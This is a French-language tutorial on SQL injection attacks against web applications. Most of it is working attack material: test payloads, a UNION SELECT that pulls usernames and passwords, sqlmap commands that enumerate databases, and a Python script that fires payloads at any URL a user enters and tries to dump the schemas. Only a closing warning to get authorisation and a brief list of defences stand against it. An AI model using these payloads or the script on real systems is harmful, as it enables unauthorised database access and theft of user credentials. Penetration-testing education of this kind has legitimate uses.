Attaque de SQL Injection
Ce tutoriel vous guidera à travers les étapes d'une attaque de SQL Injection (SQLi). Une attaque SQLi permet à un attaquant d'exécuter des commandes SQL arbitraires sur la base de données d'une application web.
Introduction
Les attaques SQLi exploitent les vulnérabilités des applications web qui ne filtrent pas correctement les entrées des utilisateurs, permettant ainsi l'injection de commandes SQL malveillantes.
Prérequis
- Ordinateur avec Kali Linux ou tout autre distribution Linux
- Navigateur web (Firefox, Chrome, etc.)
- Accès à une application web vulnérable (environnement de test)
Étape 1: Identification de la Vulnérabilité SQLi
Pour trouver une vulnérabilité SQLi, recherchez des champs de saisie utilisateur ou des paramètres d'URL qui ne sont pas correctement filtrés. Essayez d'injecter un simple code comme :
' OR '1'='1
Si cela retourne des résultats inattendus, le site est vulnérable au SQLi.
Étape 2: Exploitation de la Vulnérabilité SQLi
Une fois que vous avez identifié une vulnérabilité, vous pouvez injecter des commandes SQL plus complexes pour exfiltrer des données ou manipuler la base de données. Par exemple :
' UNION SELECT username, password FROM users --
Ce code retourne les noms d'utilisateur et les mots de passe des utilisateurs.
Étape 3: Utilisation d'Outils pour Automatiser l'Exploitation
Des outils comme sqlmap peuvent automatiser l'exploitation des vulnérabilités SQLi. Pour utiliser sqlmap :
sudo apt-get install sqlmap
Lancez sqlmap :
sqlmap -u "http://vulnerable-site.com/page?id=1" --batch --dbs
Cette commande teste l'URL spécifiée pour les vulnérabilités SQLi et liste les bases de données disponibles.
Script Python pour SQL Injection
Le script suivant permet d’automatiser la détection de vulnérabilités SQLi et d’extraire des données dans un environnement de test :
import requests
import time
def test_sqli(url, payloads):
print("\n[+] Test des vulnérabilités SQLi sur :", url)
vulnerable = False
for payload in payloads:
print(f"[*] Test avec le payload : {payload}")
target = f"{url}{payload}"
try:
response = requests.get(target, timeout=5)
if "error" in response.text.lower() or "sql" in response.text.lower():
print("[!] Vulnérabilité SQLi détectée avec le payload :", payload)
vulnerable = True
break
except requests.exceptions.RequestException as e:
print("[!] Erreur : Impossible de se connecter à l'URL.")
print(str(e))
break
if not vulnerable:
print("[*] Aucune vulnérabilité détectée avec les payloads fournis.")
return vulnerable
def extract_databases(url):
print("\n[+] Tentative d'extraction des bases de données...")
payload = "' UNION SELECT schema_name, NULL FROM information_schema.schemata --"
target = f"{url}{payload}"
try:
response = requests.get(target, timeout=5)
if response.status_code == 200:
print("[!] Bases de données détectées :")
print(response.text[:500]) # Limite pour éviter trop de données à l'écran
else:
print("[*] Aucune base de données détectée.")
except requests.exceptions.RequestException as e:
print("[!] Erreur lors de l'extraction :", str(e))
def main():
print("=== SQL Injection Tester ===")
url = input("Entrez l'URL cible (ex: http://site.com?id=1) : ")
payloads = [
"' OR '1'='1",
"' UNION SELECT NULL, NULL --",
"' AND 1=2 UNION SELECT table_name, column_name FROM information_schema.columns --",
"' OR SLEEP(5) --" # Test de Blind SQLi temporelle
]
print("\n[+] Lancement des tests...")
if test_sqli(url, payloads):
print("[+] Le site est vulnérable à une attaque SQLi.")
extract_databases(url)
else:
print("[+] Le site semble sécurisé contre les payloads testés.")
if __name__ == "__main__":
main()
Ce script teste automatiquement les vulnérabilités SQLi, vérifie si le site est vulnérable et tente d'extraire des données.
Important : Utilisez ce script uniquement dans un environnement contrôlé ou avec l'autorisation explicite des propriétaires des applications web ciblées.
Mesures de Sécurité
Pour se protéger contre les attaques SQLi, suivez ces bonnes pratiques :
- Utiliser des requêtes préparées avec des paramètres liés
- Valider et assainir toutes les entrées utilisateur
- Limiter les privilèges des comptes de base de données utilisés par l'application
- Mettre à jour et patcher régulièrement les logiciels et les bases de données
- Configurer un WAF (Web Application Firewall) pour bloquer les requêtes malveillantes